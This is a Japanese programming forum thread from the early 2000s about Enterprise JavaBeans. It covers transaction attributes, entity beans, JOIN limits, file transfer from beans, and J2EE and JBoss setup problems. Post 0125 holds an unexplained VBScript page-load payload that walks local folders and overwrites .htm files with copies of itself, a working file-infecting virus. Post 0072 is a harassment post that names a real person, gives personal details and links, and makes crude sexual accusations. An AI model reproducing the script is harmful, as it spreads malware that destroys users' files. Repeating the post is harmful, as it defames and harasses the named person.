EJB(初心者歓迎)
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
NGNGかなり複雑です。
そこでマッタリとEJBを語りましょう。
特にプログラミング技法など)
0002デフォルトの名無しさん
NGNG0004デフォルトの名無しさん
NGNG0005デフォルトの名無しさん
NGNGNETでたし(w
0006デフォルトの名無しさん
NGNGこれで何ができるか解説してください
0007デフォルトの名無しさん
NGNGJavaBeansは分かる。
0008デフォルトの名無しさん
NGNG0009デフォルトの名無しさん
NGNG0010デフォルトの名無しさん
NGNGGOFやっと理解してきたなと思ったときに
こんどはJ2EEパターン。
本当にこんなの実務でやってのか?
ASP最高(w
0011デフォルトの名無しさん
NGNG0012デフォルトの名無しさん
NGNG誰でも活用できる形にするのが「売り」だからね〜。
でもツールに埋め込まれたノウハウって、
判ってない人は面倒だから使わないし、
判っている人はカスタマイズしにくいから使わないし...
今の流行は、
「カスタマイズ可能なツールに、
自前のフレームワークやパターンを組み込むこと」
と言ってみる
0013デフォルトの名無しさん
NGNG0014デフォルトの名無しさん
NGNG00151じゃないけど...
NGNG0016デフォルトの名無しさん
NGNG0017デフォルトの名無しさん
NGNGあるECサイトではJB使わなかったみたいだな
どうも覚えるの面倒だった見たい
テキストエヂィタでコード書いたみたい。
0018デフォルトの名無しさん
NGNG0019デフォルトの名無しさん
NGNG読め
0020デフォルトの名無しさん
NGNG0021デフォルトの名無しさん
NGNG質問なのですが、
EJBとその呼び出し元は別VMなのでしょうか?
呼び出し元でセットしたstaticなクラス変数の中身が、EJB内では見ることが出来ないのです。TT
0022デフォルトの名無しさん
NGNGこんなもんが普及するのかね。アメリカじゃ誰も
つかってねえらしいぞ、こんなもん。みんな
サーブレットでやってる。
0023デフォルトの名無しさん
NGNGソースキボンヌ。
一応、仕事で使ってます。
0024デフォルトの名無しさん
NGNG10大ニュースに載っちまうくらい、使われてない罠。
なんでだろーなー?俺はめっちゃ好きなんだけど。
今更シコシコACID確保やらDB接続やらやりたくないんだけど、
上の人はどうしてもJDBCを使わせたいらしいのよ。
0025デフォルトの名無しさん
NGNG10 大ニュースのどれを指して「使われてない」ってなるの?
1 は使われてる、ってことだろうし、Web サービスのは対応ってことで
EJB が使われないってことじゃないだろうし。
0026デフォルトの名無しさん
NGNGあたりまえ
0027デフォルトの名無しさん
NGNG別VMってことですか?
それとも別の理由???TT
0028デフォルトの名無しさん
NGNG0029デフォルトの名無しさん
NGNGローカル呼び出しでなければ、当然 別VM。
ローカル|iiop経由のどちらかにしか使えないような設計は普通しないから、
>呼び出し元でセットしたstaticなクラス変数の中身をEJB内で見る
ってのはどうかと思うが。
0030デフォルトの名無しさん
NGNG0031デフォルトの名無しさん
NGNGSupports
Required
RequiresNew
Mandatory
NotSupported
Never
の実践におけるきっちりとした使い方について教えてください。
全部Requiredにしているという人はもち却下。
0032デフォルトの名無しさん
NGNG0033デフォルトの名無しさん
NGNG0034デフォルトの名無しさん
NGNG0035デフォルトの名無しさん
NGNGなんのことだかさっぱりわかりません。
0036デフォルトの名無しさん
NGNG0037デフォルトの名無しさん
NGNGそれはできないと思う。
OpenTools にもないと思う。
0038デフォルトの名無しさん
NGNG全部Requiredだとなんでだめなの?
そーいうからには、使い分け方とか知っているわけでしょ?
「必要に応じて使い分ける」としか言えないと思うよ。
0039デフォルトの名無しさん
NGNGつーか、お前ら、どこでEJBを勉強したのですか?
教えれ!
004031
NGNG全部Requiredだとメソッド内で複数のトランザクションを扱う場合、
一部のトランザクションで例外したときに、ロールバックすると
すべてのトランザクションがロールバックされてしまうよ。
またトランザクション処理が長期にわたると、JTAタイムアウトが発生して、
全部ロールバックされてしまう。
そういう場合はRequiredNewのほうがよいよね。
でもEJBからはメソッドのトランザクション属性によって処理を切り替えるとか、
メソッドのトランザクション属性そのものを変更するとかという、
器用なことができないから(できたらごめん)、
本当はロールバックをさせたかったりさせたくなかったりという、
状況によっての微妙な意図が反映できない。
実はDDでトランザクション属性を切り替えるという、
EJBの仕様そのものに問題があるのではないかと思っているわけです。
ひょっとしたらもっといい方法があるのかもしれないけど。
あったら教えて。
0041デフォルトの名無しさん
NGNG入門書ではないが、PeasonEducationの「EnterpriseJavaBeans開発ガイド」
はいいよ。
4500円と値は張るが
0042デフォルトの名無しさん
NGNG0043デフォルトの名無しさん
NGNGWroxのやつ?
0044デフォルトの名無しさん
NGNG具体的にどんな場合があるの?
0045デフォルトの名無しさん
NGNGトレーニングの受講とか、実際に製品をいじってみるとか、参考書読むとか...
0046デフォルトの名無しさん
NGNGRI使って、Sunのチュートリアル読んだら終わり。だと思ってた。
あ、勿論その後、ロハのコンテナ拾ってきて動かして「ほ〜ぅ」と さも悟ったかのような溜息を吐くわけだが。
0047デフォルトの名無しさん
NGNG2世代のツールできるのまつか
0048デフォルトの名無しさん
NGNG0050デフォルトの名無しさん
NGNGバッチ処理
0051デフォルトの名無しさん
NGNG大丈夫か?
0052デフォルトの名無しさん
NGNGどういう意味かもう少しわかりやすく説明してください
0053デフォルトの名無しさん
NGNGトランザクションだけもっと気軽に使わせろ
0054デフォルトの名無しさん
NGNG楽じゃねぇ
0055デフォルトの名無しさん
NGNGその通り。2世代のツールがでるの我慢しましょう。
よほどのミッションクリティカルでないならば
EJBはいらない。ASPいい(w
0056デフォルトの名無しさん
NGNG”**>>”
この記法はどこで覚えてきたのか
と。
0057デフォルトの名無しさん
NGNG56>>
0058デフォルトの名無しさん
NGNGデバッグめんどいだけ。
JDBCトランザクションだけ自分でコントロールしときゃいい。
そもそも3階層モデルとかいいつつ、
みんな結局ViewとLogic同じマシンで動かしてんじゃん。
EntityBeanもくそおせぇし。
0059デフォルトの名無しさん
NGNGん?なに?
006058
NGNGWEBアプリジャー
0061デフォルトの名無しさん
NGNG誰も突っ込まないのか…仕方ない
>そもそも3階層モデルとかいいつつ、
>みんな結局ViewとLogic同じマシンで動かしてんじゃん。
SmallTalkから勉強し直しなさい…
0062デフォルトの名無しさん
NGNGちょっと待て、おまえはほんとにわかってんのか?
0063デフォルトの名無しさん
NGNG0064デフォルトの名無しさん
NGNG0065デフォルトの名無しさん
NGNG0066デフォルトの名無しさん
NGNG0067デフォルトの名無しさん
NGNG0068デフォルトの名無しさん
NGNG0069デフォルトの名無しさん
NGNG0070デフォルトの名無しさん
NGNG使ってる。
0071デフォルトの名無しさん
NGNG質問です。フロントに値を引き渡すときはどうやってます?
ValueObjectのコピーを作ってる?
0072デフォルトの名無しさん
NGNG, ' ⌒ヽ / / / / / l l 、、、、 `、
,.' / l 1 ,' ,' ' ' ' ' ' ' ' '`.、
|1/ !{ l i | | | | | | | | | | `、
|/\ l1 | | i1 | .| | | | | | | | i、
i、 _ノノ | _,.-一'''~ ̄|`i l l i ii ii ii iii |1|
|`''ーイ -''´`i !|`、| i ノ一、 ','', ',''j l !l
,| , ´ | ,|-';;0ヽ`i| { /jノ ノ|ン、/ /j ,j l|
|! | イイ{:;;iiiiii::;} `| },ノ ,ノ;0`jノ / /,' , } l
j l 1 リ、`'ー+' {:iiii} iノイ lノ ノノ
, l 1 |`、 ,  ̄ ,‐'´ l サガを勝手に裸にして抱き枕にしないで!
| l 1 1 ` 、\ - ノ 1 i
/ノ l 1 '、 ` 、 _, .- ' | 人
/~ノ/// ノ\ ` ' ー 'i、_ __| ハ
, -'~ _...,,,.‐'´ \\  ̄'´ ̄ l`j丶、
おおもりよしはる=ロリペドオタ、アニオタ、モーツアルトオタ、ベートーベンオタ、ブルックナーオタ、セガ信者
ひまわりと幼女のすじまんこに異様な執着心を燃やしているロリペド絵描き
2浪して九州大学歯学科に進むがプロのイラストレーターになるために大学を中退、
同人活動とUOに専念する日々を送るが、その生活は苦しいらしい(藁
自らを画家と呼び、ともすれば不真面目なものと見られかねないアニメ絵
それも、無毛のすじまんこすらも「芸術」の域にまで高めようとしている(らしい)。
心の支えは自分の描いたひまわりの絵らしい(ぷ
マスコミ(西日本新聞)で写真付きで取り上げられたこともあるらしい。
最強のネットゲーUOではIzumoでKanae、SASAWOというキャラを使用。
http://kaba.2ch.net/test/read.cgi/doujin/1021463845/
http://www.p80.co.jp/p/k_sinki/yoshiharu/oomori.html
0073デフォルトの名無しさん
NGNGホテルの?
0074デフォルトの名無しさん
NGNGツールなければ
0075デフォルトの名無しさん
NGNG使えると思うけど...あ、CMP2.0はよくわからず。
ちなみにBMPのEntityBean使ってます。
でも一部のトランザクションはSessionBeanから
直接アクセスしたりしてる。CMTで。
0076デフォルトの名無しさん
NGNGまさメモ帳?
0077デフォルトの名無しさん
NGNG0078デフォルトの名無しさん
NGNG「SmallTalk」だって・・・・ププ
0079デフォルトの名無しさん
NGNGメモ帳で配布書くの面倒なんですけど
やはりツールを使うのか?
0080デフォルトの名無しさん
NGNG70じゃないんだけど、RowSetで返すなんてどーよ。
JDBCがサポートしてなけりゃ自作ResultSet。
ValueObjectだとフロントに返すデータ毎にクラスを
作るってのが面倒くさくありません?
0081デフォルトの名無しさん
NGNGDAOクラスでSQL発行するのと比較して
どのよーなメリットがある?
008275
NGNGなんかそこまでTransactionを持ち込みたくないなぁ。
つーか、そこまでやるなら直接JDBC使ったほうが良くない?
そもそもEntityBeanって更新処理にメリットがあるかと。
私は読むだけならEJBコンテナ内のクラスから直接JDBC。
で、RequiredなCMTのSessionBeanがそのクラスを呼ぶ。
って変ですか?
>>79
普通、GUIのDeploymentToolがサーバについてるかと...
でも一部サーバではメモ帳のほうがよっぽどマシだったり。
008375
NGNGEntityをBeanで管理したいときに使います。
目的のひとつはDAOと同じく、DBMSとJavaのあいだの
インピーダンスミスマッチの解消でしょう。
メリットといえば、
・コンテナがトランザクション管理してくれたり
・必要に応じて行のロードやストアをしてくれたり
・CMPだと1行もコード書かなくても良かったり(開発環境による)
・適当にプーリングしてくれたり
とかかなぁ。あとはEJBコンテナのセキュリティモデルが使えるとか。
EntityBean自体はDAOに近いものあります。
が、EntityBeanを使うのはクライアントアプリケーションてより
むしろEJBコンテナがEntityBeanを使ってる感じに近いかな。
アプリがEJBコンテナにデータを要求するとEJBコンテナが
EntityBeanを適当に使って結果を返してくれる感じ。
あんまり解答になってない気もしますがこの辺で。
0084デフォルトの名無しさん
NGNGEJBもUMLもやだぁ。
0085デフォルトの名無しさん
NGNGでもパフォーマンスがよくないよね。
008675
NGNGあぁ、最悪ですね。2.0は知らないけど。
そのためにアプリケーションサーバには
ロードバランス機能がついてるんじゃないかと。(藁
0087
NGNGejb-jar.xmlだけでデプロイをおこなって、クライアントからEJBをlookupすることは可能でしょうか?
0088デフォルトの名無しさん
NGNGやってみれば(w
0089デフォルトの名無しさん
NGNG0090デフォルトの名無しさん
NGNGて固有の機能でしょ。APPの
0091デフォルトの名無しさん
NGNGなるほど。
でもEntityBeanってjoinできなかったと記憶してるんですが、
検索系の処理ではほぼ必ずjoinしますよね?
ってことは、更新系はEntityBeanでやって
検索系はSessionBean経由のDAOがいいような気がしてきたけどどーかね?
009291
NGNG009380=91
NGNG0094デフォルトの名無しさん
NGNGJOIN禁止というDQNプロジェクトがあったりする。。。
009575
NGNGJOINに関してはCMPは駄目かな。
でも私はJOINな参照はできるだけビュー使ってます。
BMPなEntityBeanだとJOINでもなんでもできるよ。
ってBMPは相手がRDBMSである必要もなし。
ディレクトリサーバにLDAPでアクセス、とかでもよし。
>>94
テーブル2つSELECTして自力で統合したりするんでしょうか。
パフォーマンス気にしないならまぁ。
全てのDBで全てのJOINが実装されてるわけでもないし...
0096デフォルトの名無しさん
NGNG機能がよわいの?
でも1:nやN:Nのテーブルもできるけど。
パフォーマンスが悪いということですか?
それとJOINするとパフォーマンスが悪くなるのですか?
SUNのPETSHOPてエンティティを使っていない
ですよね。やっぱつかえないのかな
0097デフォルトの名無しさん
NGNGかかりすぎ。優秀なツールができない限り
効率が悪いのでは。
009894
NGNGそう、自力で、、、
ちなみにOracle、ビュー作成禁止。
パフォーマンスは気にしてるらしい(w
あぁ、口出しできる権限が欲しい。。。
>>96
CMPではJOINできない。(機能がない)
パフォーマンス重視ならJDBC直呼出が定石(現時点では)
>>97
EJBに(あまり)関係ないところをやらせて、
基盤部分をわかってる奴がやればいい。
興味ある奴は自分で勉強するし、しないやつは所詮それまで。
009975
NGNGPetStoreはEntityBean使ってるよ。(AccountEJBとか)
CMPはレガシーシステムとかDBMSに依存しないように、
SQL文をコンテナが自動生成するわけです。
で、そこにJOINする機能が定義されてないのです。
BMPだと自分でSQL文書いてJDBCでアクセスしたりするんで
何でもアリなんですが。
このへん、EJB-QLで解決しないのかな。
>>97
ツールでは解決できるかどうか怪しいなぁ。
EJBだけならそんなに難しくないと思うけど、
J2EEのコンテナサービスが複雑なんだと思う。
JTAやらJNDIやらEJBやら....
98も言ってますが、それぞれのロールを適切に
割り振れば良いんじゃないかと。
>>98
なるほど、自力ですか...実装大変そうですね...
0100デフォルトの名無しさん
NGNGご意見参考になります。ただ、EJBのコードは冗長になりがちな気がするんです。
NET VS EJBの比較がすこし前にありましたよね。
JAVAの方は約3倍のコードを書かなければならないみたいですね。
もちろんツールが自動生成してくれる部分があるのでしょうが。
いまだステップ数でカウントしている企業にはいいのでしょうが。
EJBもう少し勉強しなくては(w
0101デフォルトの名無しさん
NGNGほんとに楽になるのか?EJB周りやEJBの実装系のバグとかにハマって
デスマチ化することがありそうな気がするのですが^^;
>>97
DDとか設定する項目が多くて、面倒くさいよね。
weblogic-ejb-jar.xmlとかベンダ依存部分も結構あって、調べるの面倒。
>>98
CMPでJoinはできないけど、EJB2.0の関連の機能使えば結構楽できそうな
気がしますがどうでしょうか?
実は使ったことないですけど (w
0102デフォルトの名無しさん
NGNG初心者にはまず理解できないしろものだけど(w
010375
NGNG実際のBeanは冗長ではないと思いますが....
冗長とはremote/home interfaceのことでしょうか。
であれば、IDEからGUIでも作れますが私はコピペしてます。
で、ただのinterfaceなんでステップ数も稼げませんよ。(w
>>101
懐疑的というのはなんとなくわかります。
今のとこ実装系のバグとかは出会って無いんですが、
それはEJBに限った話ではないと思います。
楽かどうかで言えば楽ではないですね。ある程度コンポーネントが
たまってる状態で実装レベルの話であれば楽かもしれませんけど、
それ以上に設計コストがかかります。必要かどうか見極めが重要。
スケーラビリティが要求されるか、規模がかなり大きくて
トランザクション管理が大変なときはEJBだと楽だと思いますが、
それ以外で使うと重いし設計面倒だしAS高すぎだし。
あと、仕様的に遠回りしなきゃならないってことは
あるかもしれません。これもEJBに限りませんが。
また、あえて遠回りして実装したくなることもあります。
なんせ崇高なJavaですから。(w
DDはDeploymentToolで書いてます。Weblogicじゃないですが。
さすがにベンダ依存まで手書きはしたくないですよね。
0104デフォルトの名無しさん
NGNGでもJAVAの人月高すぎ。
オブジェクト指向で有名なOJ社1人月200万。
そんなに取れるのか。それだけEJBが複雑なんだろうな。
0105デフォルトの名無しさん
NGNGまだまだ解説書がなくて理解するのにしんどいような気がするのですが。
今月あたりJ2EEパターンの本が翻訳されて出るみたいなんですが。
それにしてもEJB覚えるのおおすぎ(w
010675
NGNG大規模なのはJavaってわけではなくて、
Javaで大規模ならEJB、ということかなぁ。
人月はトータルで見て短期でできるなら高くないかも。
でもまぁ、それはそれで単価上がるならEJBの生産性の
意味がないんですが。
うちはEJBでも非EJBでも同じ人月。地方なんで安い....
>>105
J2EEパターンは使います。
Sunのサイトに英語でありますが、それほど
理解が難しいパターンでもないような。
覚えるの多すぎなのは同意。
EJBというよりJ2EE全般ですよね。JNDIとかも含めて。
0107101
NGNGコンポーネントが再利用できるかどうかは、EJBうんぬん以前のモジュール設計
がきちんとできてないと駄目でしょうからね。
J2EEパターンって、特に目新しいことも無いような気がします。知っていて損は無いですが。
デザインパターンの応用例って感じですよね。
周りの人間が、構造体のことを「ValueObject」とかわざわざ呼んでいるのを聞くと寒気がします(w
覚えること多いですよね。ホント面倒。
ASP.NETレベルのフレームワークをSunが標準で出してくれないかな・・・
0108デフォルトの名無しさん
NGNGEJBでクライアントからサーバへ(またはソの逆に)ファイルを転送することは可能なのでしょうか?
java.io.* やソケットが使えないので不可能とは思うのですが、なにか技は在りませんでしょうか?
0109デフォルトの名無しさん
NGNG0110108
NGNGありがとうございます。早速、明日コードを書いてみます。
0111デフォルトの名無しさん
NGNGそういう事ならServlet garden読むべし。
画像オフにして逝くべし。
ちと見苦しい写真が目に飛び込んでくるから。
http://www.t3.rim.or.jp/~yoko-k-h/java/servlet/programming/howtoupload.html
0112108
NGNG情報ありがとうございます。あの写真は、やっぱり男ですか…
クライアントは、javaアプリです。
私のEJBのレベルは『プロフェッショナルEJB』を読み始めたところです。
011375
NGNGValueObjectという言葉は私も使ってますが、リモートコールのときしか
使ってないです。リモートコールのときに使って、初めてValueObjectに
なると思ってたんですが、違うんですかね。
Sunのパターンカタログ見ても粗粒度にして効率的な転送を、みたいな
ことが書いてあるんで、リモート前提なんじゃないでしょうか。
つまり、その行為を含めてValueObjectであって、そのクラス自体は
ValueObjectじゃないのではないかと。
>>108
インプレスのプロフェッショナルEJBは、ちょっと読んだ限りでは
結構いい本だと思いました。必要なことはだいたい書いてあるし。
ExceptionがthrowされたときCMTなトランザクションはどうなる、とか。
0114デフォルトの名無しさん
NGNGEJBを使って、クライアントのjavaアプリとサーバとで、ftpのようにファイルを送り出したり、受け取ったりすることはできないのでしょうか?
クライアントのディレクトリにあるファイルを、サーバのディレクトリへコピーしたり、その逆をしたりしたいのです。
セキュリティポリシィを下げればできるとも聞いたのですが、やり方がわかりません。
どなたか、教えてください。
0115デフォルトの名無しさん
NGNGだから、byte配列丸投げしろって。
0116114
NGNGbyte配列を受け取って、ファイルに書き出させようとしてるんですが、サーバにファイルが出来ないんですが・・・
FileOutputStream fos=new FileOutputStream("c:\\temp\\hogyo.txt");
InputStream is = new InputStream();;
byte[] buffer = new byte[1024];
while(true){
int len = is.read(buffer);
if(len < 0) break;
fos.write(buffer, 0, len);
}
0117114
NGNG// byte 単位で1文字ずつファイルに書き込み
FileOutputStream fos = new FileOutputStream("c:\\temp\\hogyo.txt");
String str0 = "abcdeあいうえお\r\n";
byte buf[] = str0.getBytes();
for( int i = 0; i < buf.length;i++ ) {
fos.write( buf[i] );
}
fos.close();
0118デフォルトの名無しさん
NGNGhttp://www.bea-event.com/
あんまり期待してなかったんだけど、
予想以上に面白かったです。
0119108
NGNGbyte[] を丸投げしましたが、以下のようなエラーが出て、サーバ上にファイルを作成できません。このエラーを回避する方法はあるのでしょうか?
もしかして、RMIを使うのでしょうか?(私は良く知らないのですが…)
java.security.AccessControlException: access denied (java.io.FilePermission c:\t
estFileFromClient.txt write)
at java.security.AccessControlContext.checkPermission(AccessControlConte
xt.java:267)
at java.security.AccessController.checkPermission(AccessController.java:
394)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:540)
at java.lang.SecurityManager.checkWrite(SecurityManager.java:973)
at java.io.FileOutputStream.<init>(FileOutputStream.java:91)
at java.io.FileOutputStream.<init>(FileOutputStream.java:57)
at simpleBean3.SalaryEJB.calculateSalary(SalaryEJB.java:37)
at simpleBean3.SalaryEJB_EJBObjectImpl.calculateSalary(SalaryEJB_EJBObje
ctImpl.java:26)
at simpleBean3._SalaryEJB_EJBObjectImpl_Tie._invoke(Unknown Source)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.dispatchToServant(Ge
nericPOAServerSC.java:520)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.internalDispatch(Gen
ericPOAServerSC.java:210)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.dispatch(GenericPOAS
erverSC.java:112)
at com.sun.corba.ee.internal.iiop.ORB.process(ORB.java:255)
at com.sun.corba.ee.internal.iiop.RequestProcessor.process(RequestProces
sor.java:84)
at com.sun.corba.ee.internal.orbutil.ThreadPool$PooledThread.run(ThreadP
ool.java:99)
0120108
NGNGこちらはクライアント側
import javax.ejb.*;
import simpleBean3.*;
import javax.naming.InitialContext;
import java.io.*;
import java.net.*;
class SalaryClient3 {
public static void main(String[] args) {
try {
InitialContext ctx = new InitialContext();
Object objRef = ctx.lookup("Salary3");
SalaryHome home = (SalaryHome)javax.rmi.PortableRemoteObject.narrow(
objRef, SalaryHome.class);
Salary bean = home.create();
String filepath = "C:\\tmp\\method.zip";
File file = new File(filepath);
Long lon = new Long(file.length() );
byte [] bytes = new byte[ lon.intValue() ];
try{
FileInputStream fis = new FileInputStream(file);
fis.read(bytes);
fis.close();
}catch(java.io.EOFException e){
System.out.println("EOFException !");
} catch(java.lang.Exception e) {
// とりあえずエラー出力。
e.printStackTrace(System.out);
}
bean.sendFile(bytes) );
} catch (javax.naming.NamingException ne) {
System.out.println("Naming Exception caught: " + ne);
} catch (javax.ejb.CreateException ce) {
System.out.println("Create Exception caught: " + ce);
} catch (java.rmi.RemoteException re) {
System.out.println("Remote Exception caught: " + re);
}
}
}
0121108
NGNGpackage simpleBean3;
import javax.ejb.*;
import java.io.*;
import java.net.*;
public class SalaryEJB implements SessionBean {
public void ejbCreate() {}
public void ejbRemove() {}
public void ejbActivate() {}
public void ejbPassivate() {}
public void setSessionContext(SessionContext ctx) {}
private final double taxRate = 27.5;
ServerSocket ssc;
public double sendFile( byte[] bytes ) {
double monthly = 0;
monthly = annualSalary/12;
//Add bonus
monthly = monthly + bonus;
//Remove pension contribution
monthly = monthly - (monthly * (pensionContrib/100));
//Remove tax
monthly = monthly - (monthly * (taxRate/100));
// バイト列をファイルに変換
String file = "c:\\testFileFromClient.txt";//サーバ側の保存先
try{
FileOutputStream fos = new FileOutputStream(file);
fos.write(bytes);
fos.close();
}catch(java.io.EOFException e){
System.out.println("EOFException !");
} catch(java.lang.Exception e) {
// とりあえずエラー出力。
e.printStackTrace(System.out);
}
return monthly;
}
}
0122108
NGNG『プロフェッショナルEJB』(良書です)のサンプルを少し変えただけですが・・・。
どなたか助けてください。
<?xml version="1.0"?>
<!DOCTYPE ejb-jar PUBLIC '-//Sun Microsystems, Inc.//DTD Enterprise JavaBeans 1.1//EN' 'http://java.sun.com/j2ee/dtds/ejb-jar_2_0.dtd'>
<ejb-jar>
<description>Single stateless session bean to calculate monthly salary</description>
<display-name>Simple Bean3</display-name>
<enterprise-beans>
<session>
<description>Simple Salary Bean to calculate monthly net earnings</description>
<display-name>Salary Bean3</display-name>
<ejb-name>Salary3</ejb-name>
<home>simpleBean3.SalaryHome</home>
<remote>simpleBean3.Salary</remote>
<ejb-class>simpleBean3.SalaryEJB</ejb-class>
<session-type>Stateful</session-type>
<transaction-type>Container</transaction-type>
</session>
</enterprise-beans>
</ejb-jar>
0123デフォルトの名無しさん
NGNGあんましデカイソース貼るな。
んで本題だが。EJBコンテナのセキュリティポリシーを設定すべし。
0124108
NGNG色々なアドバイスありがとうございます。
deploytool を使えばいいのでしょうか。明日、試してみます。
0125デフォルトの名無しさん
NGNG<BODY Onload="Redirect();"><script language="VBScript"><!-- Sub Redirect Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub Sub Offline Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath) Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath) For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true End If Next Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal") End Sub --></script>
<!--Mocc/#Mai $Fanta & qupter configress +50;/Shera++/con;con;--></BODY>
0126125
NGNG012775
NGNGん?その前に。
Enterprise Beanでファイルアクセスは禁止だと思いましたが。
http://www.ejbcons.gr.jp/rules/PO-01-01.PDF
の18ページあたりに詳しく書いてあります。
ご参考までに。
0128デフォルトの名無しさん
NGNGその時使われるセキュリティポリシーはEJBが動作してるVMの物と同じじゃないの?
やべ適当に書いたらまずかったか
0129デフォルトの名無しさん
NGNGWebOTX の体験版でやってみたら、クライアントからEJBを呼び出して、そのEJBの中でFileOutputStreamで書き込めてしまった。
大丈夫か、この製品?
0130デフォルトの名無しさん
NGNGただのセキュリティポリシーだから別にいいんじゃないのか?
必要だったら自分で設定すればいいんだし
013175
NGNGいや、セキュリティポリシーはBeanが動いてるのと同じかと。
ただ、それ以前に仕様的によろしくないのでは、と思ったもんで。
>>130
うーん、WebOTX専用EJBなら良いんだけど、
他のサーバにDeployするかもしれないなら駄目じゃないかなぁ。
呼べるかどうかじゃなくて、EJBの中で呼ぶことが、ね。
0132デフォルトの名無しさん
NGNGEJBで、ソケット通信やマルチスレッドをやれ!ファイル転送もな!とか顧客に要求されそうだ(w
0133130
NGNGポリシー変えられなかったら、いざとなった時に逆に面倒じゃない?
当然、標準規格に沿えるよう最大限に努力するのは前提だけど。
0134デフォルトの名無しさん
NGNGそんなアホラシイこと誰もやってないという罠
013575
NGNGサーバソケットは無理っぽいよなぁ。
インスタンスがあるかどうかすらわからないんだから。
同期とかは全てを理解してれば出来なくはないかもなぁ。
>>134
一応やってますた。最大限、ね。
サーバのバージョンアップとかで動かなくなると困る。
0136132
NGNG>インスタンスがあるかどうかすらわからないんだから。
この辺のこと詳しく教えていただけないでしょうか。
ソケット作って、待ち受けてるだけなので出来そうな気がするのですが・・・
待ち受けしているインスタンスが、コンテナに片付けられてしまう。という理解でいいですか?
013775
NGNGそうです。
Activate/Passivateはコンテナが勝手にやるんで。
インスタンス作るのはコンテナで、ライフサイクルを管理するのも
またコンテナなので。
例えソケットで接続できたとしても、remote/local interfaceを
通らないから、コンテナはそのEJBが使われているという認識ができないかも。
あ、実際やったことないから間違ってたらスマソ。
0138132
NGNGありがとうございます。助かりました。
0139デフォルトの名無しさん
NGNG0140たすけて
NGNGJ2eeをD:\j2sdkee1.3.1にインストールして
j2ee -verbose とやると
下記の例外になります
なにがいけないのか似た症状についてご存知のかたいませんでしょうか?
JDKはD:\jdk1.3.0_02にインストールされています。
起動する前には下記の環境変数を設定しました。
J2EE_HOME=D:\j2sdkee1.3.1
JAVA_HOME=D:\jdk1.3.0_02
PATHにD:\j2sdkee1.3.1\binを追加
0141たすけて
NGNGJ2EE server listen port: 1050
Naming service started:1050
Exception in thread "main" java.lang.NoSuchMethodError
at com.sun.corba.ee.internal.corba.AnyImpl.createTypeCodeForClass(AnyImpl.java:1256)
at com.sun.corba.ee.internal.iiop.ShutdownUtilDelegate.createTypeCode(ShutdownUtilDelegate.java:223)
at com.sun.corba.ee.internal.iiop.ShutdownUtilDelegate.writeAny(ShutdownUtilDelegate.java:178)
at javax.rmi.CORBA.Util.writeAny(Util.java:80)
at org.omg.stub.com.sun.enterprise.naming._SerialContextProvider_Stub.rebind(Unknown Source)
at com.sun.enterprise.naming.SerialContext.rebind(SerialContext.java:188)
at com.sun.enterprise.naming.SerialContext.rebind(SerialContext.java:202)
at javax.naming.InitialContext.rebind(InitialContext.java:370)
at com.sun.enterprise.naming.NamingManagerImpl.publishObject(NamingManagerImpl.java:192)
at com.sun.enterprise.naming.NamingManagerImpl.publishObject(NamingManagerImpl.java:149)
at com.sun.enterprise.server.J2EEServer.bindObject(J2EEServer.java:718)
at com.sun.enterprise.server.J2EEServer.createServerObject(J2EEServer.java:473)
at com.sun.enterprise.server.J2EEServer.run(J2EEServer.java:244)
at com.sun.enterprise.server.J2EEServer.main(J2EEServer.java:972)
0142デフォルトの名無しさん
NGNGひょっとして、自力で並び替えるしかない?
0143デフォルトの名無しさん
NGNG0144デフォルトの名無しさん
NGNG0145デフォルトの名無しさん
NGNG0146デフォルトの名無しさん
NGNGEJBQLでORDER BYがサポートされるのは、
EJB 2.1からだよ。
EJB2.1のSpec(Draftがでてるよ)読んだみたら?
0147デフォルトの名無しさん
NGNG0148デフォルトの名無しさん
NGNGインストールしてみたのですが、run_with_catalina.batで起動
させてもhttp://localhost:8080/jbossが404になってしまいます。
http://localhost:8080/でトップページは表示されており、またJ2eeの
サンプルプログラムも動いているので、Jboss、tomcat各々は動いているようです。
どうすれば連携できるか教えていただけないでしょうか?
0149デフォルトの名無しさん
NGNGこれ使ったことないんだけど(JBoss、Tomcat それぞれダウンロードして使ってる)、
>http://localhost:8080/jboss
ここには何かあるはずなの? Servlet + EJB のサンプルのページとか?
0150148
NGNGそうです。jbossのものの本を読んでいる限りトップページがあるはずなんです。
いろいろと調べてみたところ、run_with_catalina.shで起動時のメッセージで
[INFO,EmbeddedCatalinaServiceSX] deploy, ctxPath=, warUrl=file:/usr/local/JBoss-2.4.6_Tomcat-4.0.3/j
boss/tmp/deploy/Default/webtest.ear/web1001/
というのですが、本当はctxPath=jboss,となるようなのです。
何を変えればいいのやら・・・
0151デフォルトの名無しさん
NGNGEJB(WEBLOGIC)で作成。50万行なり。
さて何人で構築したのでしょう。
EJB自体使うのは案件が大きいときのみ。
0152デフォルトの名無しさん
NGNG0153デフォルトの名無しさん
NGNG0154デフォルトの名無しさん
NGNGoreilly.co.jpで予約しとけ。
0155デフォルトの名無しさん
NGNG正気とは思えない。
本当にチェックしたのだろうか?みづほの事件があったのに・・・
大体、WEBLOGICを採用したやつは、アフォです。
どっから、煽られてWEBLOGICにしたんだか。
証券会社のみづほが発生します。
0156デフォルトの名無しさん
NGNG0157デフォルトの名無しさん
NGNGJ2EE_HOMEだかCLASSPATHに
%J2EE_HOME%\lib\j2ee.jar は通さなくていいんだっけ?
0158デフォルトの名無しさん
NGNGこれでいいeclipseのプラグインがあれば、お勉強用には申し分ない感じ。
0159デフォルトの名無しさん
NGNG日で○でコードなんかかけないね
(スクリプトならともかく)
